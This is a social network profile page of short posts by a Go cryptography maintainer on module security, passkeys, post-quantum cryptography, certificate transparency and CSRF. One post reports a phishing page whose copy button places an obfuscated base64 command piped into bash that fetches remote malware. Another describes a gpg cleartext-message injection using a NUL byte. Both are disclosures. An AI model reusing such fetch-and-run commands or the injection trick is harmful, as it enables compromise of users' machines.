GNU social JP
  • FAQ
  • Login
GNU social JPは日本のGNU socialサーバーです。
Usage/ToS/admin/test/Pleroma FE
  • Public

    • Public
    • Network
    • Groups
    • Featured
    • Popular
    • People

Notices by Filippo Valsorda (filippo@abyssdomain.expert)

  1. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Monday, 16-Feb-2026 23:44:10 JST Filippo Valsorda Filippo Valsorda

    I wish that those surveys so often cited by InfoSec pundits that ask

    Do you fully trust AI output?
    Do you always verify AI output?

    also asked

    Do you fully trust your colleagues' output?
    Do you always verify your colleagues' output?

    Just to have comparative numbers, you know.

    In conversation about 10 days ago from abyssdomain.expert permalink
  2. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 12-Feb-2026 23:21:55 JST Filippo Valsorda Filippo Valsorda

    The Go Checksum Database guarantees that every Go build on the planet uses the same source for a given module version.

    However, GitHub might not show you that code.

    https://pkg.geomys.org is a simple service to view the canonical source of a Go module, and it comes with Chrome/Firefox extensions to replace pkg.go.dev source links.

    https://words.filippo.io/go-source/?source=Mastodon

    In conversation about 15 days ago from abyssdomain.expert permalink
  3. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Monday, 05-Jan-2026 11:34:26 JST Filippo Valsorda Filippo Valsorda
    in reply to

    Hell yeah, we got the first (of four) hit! So relieved this is working.

    It's the easiest to find case: a double rejection which has probability (2^-16 + 2^-16)² = 2^-30.

    We should see a handful of these before we hit the other two ~2^-31 cases and the (2^-16)² = 2^-32 case.

    In conversation about 2 months ago from abyssdomain.expert permalink

    Attachments



    1. https://cdn.masto.host/abyssdomainexpert/media_attachments/files/115/840/047/902/809/738/original/489e2e0476e9e8fe.png
  4. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Monday, 05-Jan-2026 00:50:10 JST Filippo Valsorda Filippo Valsorda

    Do you have an idle cluster? Can you spare a couple core-years?

    Help me bruteforce some test vectors for RSA key generation edge cases!

    Here are the instructions, it's just a matter of running a single self-contained cross-compilable Go binary that will report the results autonomously.

    https://gist.github.com/FiloSottile/19e7ceb1fdcdaa128f7d3319ad0939fa

    In conversation about 2 months ago from abyssdomain.expert permalink
  5. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Sunday, 28-Dec-2025 02:23:30 JST Filippo Valsorda Filippo Valsorda

    At the https://gpg.fail talk and omg #39c3

    You can just put a \0 in the Hash: header and then newlines and inject text in a cleartext message.

    Won’t even blame PGP here. C is unsafe at any speed.

    gpg has not fixed it yet.

    In conversation about 2 months ago from abyssdomain.expert permalink

    Attachments


    1. https://cdn.masto.host/abyssdomainexpert/media_attachments/files/115/792/484/165/073/814/original/62c310403495b926.jpeg
    2. No result found on File_thumbnail lookup.
      https://gpg.fail/
  6. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 25-Dec-2025 02:56:22 JST Filippo Valsorda Filippo Valsorda

    Really big age release coming tomorrow! 🎅🏻

    - native post-quantum keys
    - built-in recipients for hw plugins
    - age-inspect tool
    - plugin framework
    - batchpass plugin
    - many improved error messages

    https://age-encryption.org

    In conversation about 2 months ago from abyssdomain.expert permalink
  7. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Tuesday, 09-Dec-2025 02:07:35 JST Filippo Valsorda Filippo Valsorda

    When I talk about professionalizing open source maintenance, and about the Geomys Standard of Care, this is what it is about.

    The solution is neither gatekeeping nor blanket legal liability nor making demands of volunteers. The solution is relying on, and funding, professionals.

    https://forum.syncthing.net/t/does-anyone-know-why-syncthing-fork-is-no-longer-available-on-github/25661/165

    In conversation about 3 months ago from abyssdomain.expert permalink

    Attachments


    1. https://cdn.masto.host/abyssdomainexpert/media_attachments/files/115/684/878/371/657/298/original/915f8383cb7f2677.jpeg
  8. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Tuesday, 25-Nov-2025 12:14:27 JST Filippo Valsorda Filippo Valsorda
    • kasperd

    @kasperd I am also more comfortable with hybrids for now, but Bernstein is openly arguing that the NSA is pushing pure PQ as a way to undermine encryption.

    In conversation about 3 months ago from abyssdomain.expert permalink
  9. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Tuesday, 25-Nov-2025 12:14:24 JST Filippo Valsorda Filippo Valsorda
    in reply to
    • kasperd
    • Özgür Kesim

    @oec @kasperd

    The IETF is literally publishing multiple hybrid KEM documents, and is publishing hybrids for TLS with RECOMMENDED=Y while pure ML-KEM is being published RECOMMENDED=N.

    What are you even talking about.

    In conversation about 3 months ago from abyssdomain.expert permalink
  10. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Friday, 24-Oct-2025 01:58:17 JST Filippo Valsorda Filippo Valsorda
    • Wolf480pl
    • ✧✦Catherine✦✧

    @untitaker @wolf480pl @whitequark serious question: how many users do you think ever bulk exported passwords from a password manager, as a proportion of all users that ever used a password?

    IMHO, bulk export is a niche use case, and per-site migration is solved by "add another passkey" or "reset flow".

    In conversation about 4 months ago from abyssdomain.expert permalink
  11. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 23-Oct-2025 23:03:09 JST Filippo Valsorda Filippo Valsorda
    in reply to
    • Wolf480pl
    • ✧✦Catherine✦✧

    @wolf480pl @whitequark to this day I do not understand the lock-in argument: just register two passkeys if you're worried! Or do a password/passkey reset if you lose access. These are both not super user friendly options, but neither is exporting passwords from a password manager?

    In conversation about 4 months ago from gnusocial.jp permalink
  12. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 23-Oct-2025 21:40:24 JST Filippo Valsorda Filippo Valsorda

    Serious take: the solution to Safe Browsing false positives like the Immich one is passkeys.

    Phishing regularly upends people's lives. The Safe Browsing cat-and-mouse with all its opaque false positives will be necessary until we roll out phishing-resistant auth.

    In conversation about 4 months ago from abyssdomain.expert permalink
  13. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Wednesday, 17-Sep-2025 19:55:41 JST Filippo Valsorda Filippo Valsorda
    in reply to
    • Glyph
    • abadidea
    • Felix :thisisfine: Eckhofer

    @glyph @0xabad1dea @tribut The EU is trying that, right? Does Geomys have strict liability for all of Go? Or does Google? Why would Google let Geomys maintain Go if the liability falls on them? Does a maintainer with a Patreon have strict liability? What about a maintainer who scored their first $10k support contract, which is not enough to pay both taxes and E&O insurance?

    I understand the desire to stick it to the man, but the system needs to be viable, not just desirable.

    In conversation about 5 months ago from abyssdomain.expert permalink
  14. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 04-Sep-2025 05:53:17 JST Filippo Valsorda Filippo Valsorda

    There is some chatter about a CA mis-issuing a certificate for 1.1.1.1. https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/SgwC1QsEpvc/m/0V_VMV7uAgAJ

    This CA (https://crt.sh/?caid=201916, only ~300 certs) is only trusted by (1) the Microsoft root program, and (2) the eIDAS QWAC trusted list.

    MS has not been actively managing their root program for years now, and the EU wanted to push theirs on browsers with much better ones.

    In conversation about 6 months ago from abyssdomain.expert permalink

    Attachments

    1. No result found on File_thumbnail lookup.
      Incident Report: Mis-issued Certificates for SAN iPAddress:1.1.1.1 by Fina RDC 2020
    2. Domain not in remote thumbnail source whitelist: crt.sh
      crt.sh | CA:201916
      Free CT Log Certificate Search Tool from Sectigo (formerly Comodo CA)

  15. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 14-Aug-2025 01:15:13 JST Filippo Valsorda Filippo Valsorda

    I edited my Cross-Site Request Forgery countermeasures research into a stand-alone article, including recommendations reusable by other projects.

    tl;dr: no need for tokens or keys, modern browsers tell you if a request is cross-origin!

    https://words.filippo.io/csrf?source=Mastodon

    In conversation about 7 months ago from abyssdomain.expert permalink

    Attachments


  16. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Monday, 04-Aug-2025 22:31:10 JST Filippo Valsorda Filippo Valsorda

    Certificate Transparency is meant for browsers and website owners.

    However, I estimate a majority of clients is only interested in discovering domain names, and never checks signatures. I am proposing an additional, optional, less secure, and 20x more efficient API for those clients.

    This should make it possible to run a CT log with less than 1 Gbps.

    https://groups.google.com/a/chromium.org/d/msgid/ct-policy/bcfca3d1-7547-4dc4-b43d-7bf1549f6815%40app.fastmail.com

    In conversation about 7 months ago from abyssdomain.expert permalink
  17. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Monday, 04-Aug-2025 22:08:09 JST Filippo Valsorda Filippo Valsorda

    The small joys of a custom personal site, and of custom Go module paths: I was annoyed that full symbol names like https://filippo.io/sunlight.Client didn't linkify to their docs, so I fixed it!

    https://github.com/FiloSottile/mostly-harmless/commit/c9686a608abdd28ebbf6223ef30ba210388dd2a7

    In conversation about 7 months ago from abyssdomain.expert permalink

    Attachments

    1. No result found on File_thumbnail lookup.
      sunlight package - filippo.io/sunlight - Go Packages
  18. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Monday, 21-Jul-2025 21:27:18 JST Filippo Valsorda Filippo Valsorda

    I want to set up append-only backups with ZFS, like https://ruderich.org/simon/notes/append-only-backups-with-restic-and-rclone.

    However, this part of zfs-receive.8 makes it sound like a compromised sender could cause snapshots to be deleted on the recipient.

    Does ZFS replication unavoidably trust the sender?

    In conversation about 7 months ago from abyssdomain.expert permalink

    Attachments


    1. https://cdn.masto.host/abyssdomainexpert/media_attachments/files/114/891/016/773/040/191/original/5fb28f873fa4e7ff.png

  19. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 17-Jul-2025 21:17:59 JST Filippo Valsorda Filippo Valsorda

    This is pretty well executed phishing.

    The Copy button copies to the clipboard

    echo "Y3Vy[...]ggJg==" | base64 -d | bash

    which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash.

    They even detect piping, so to read it you have to run "curl | cat".

    In conversation about 7 months ago from abyssdomain.expert permalink

    Attachments


    1. https://cdn.masto.host/abyssdomainexpert/media_attachments/files/114/868/224/746/439/839/original/67b6eec46293826c.png
    2. Domain not in remote thumbnail source whitelist: github.githubassets.com
      Malware served from https://plsp.meshsorterio.com
      from FiloSottile
      Malware served from https://plsp.meshsorterio.com
  20. Embed this notice
    Filippo Valsorda (filippo@abyssdomain.expert)'s status on Thursday, 10-Jul-2025 04:24:20 JST Filippo Valsorda Filippo Valsorda
    in reply to
    • Chris Siebenmann
    • ✧✦Catherine✦✧
    • mei

    @whitequark @cks @mei updated the text not to mention pagers. How to hit 99% is up to the operator, and it doesn’t require 24/7 people.

    In conversation about 8 months ago from abyssdomain.expert permalink
  • Before

User actions

    Filippo Valsorda

    Filippo Valsorda

    @FiloSottile elsewhere / Cryptogopher / Go crypto maintainer / Professional Open Source maintainer / RC F'13, F2'17
https://mkcert.dev / https://age-encryption.org / https://filippo.io/newsletter🕳️ “Gaze not into the abyss, lest you become recognized as an abyss domain expert, and they expect you keep gazing into the damn thing.” —@nickm

    Tags
    • (None)

    Following 0

      Followers 0

        Groups 0

          Statistics

          User ID
          60766
          Member since
          8 Dec 2022
          Notices
          73
          Daily average
          0

          Feeds

          • Atom
          • Help
          • About
          • FAQ
          • TOS
          • Privacy
          • Source
          • Version
          • Contact

          GNU social JP is a social network, courtesy of GNU social JP管理人. It runs on GNU social, version 2.0.2-dev, available under the GNU Affero General Public License.

          Creative Commons Attribution 3.0 All GNU social JP content and data are available under the Creative Commons Attribution 3.0 license.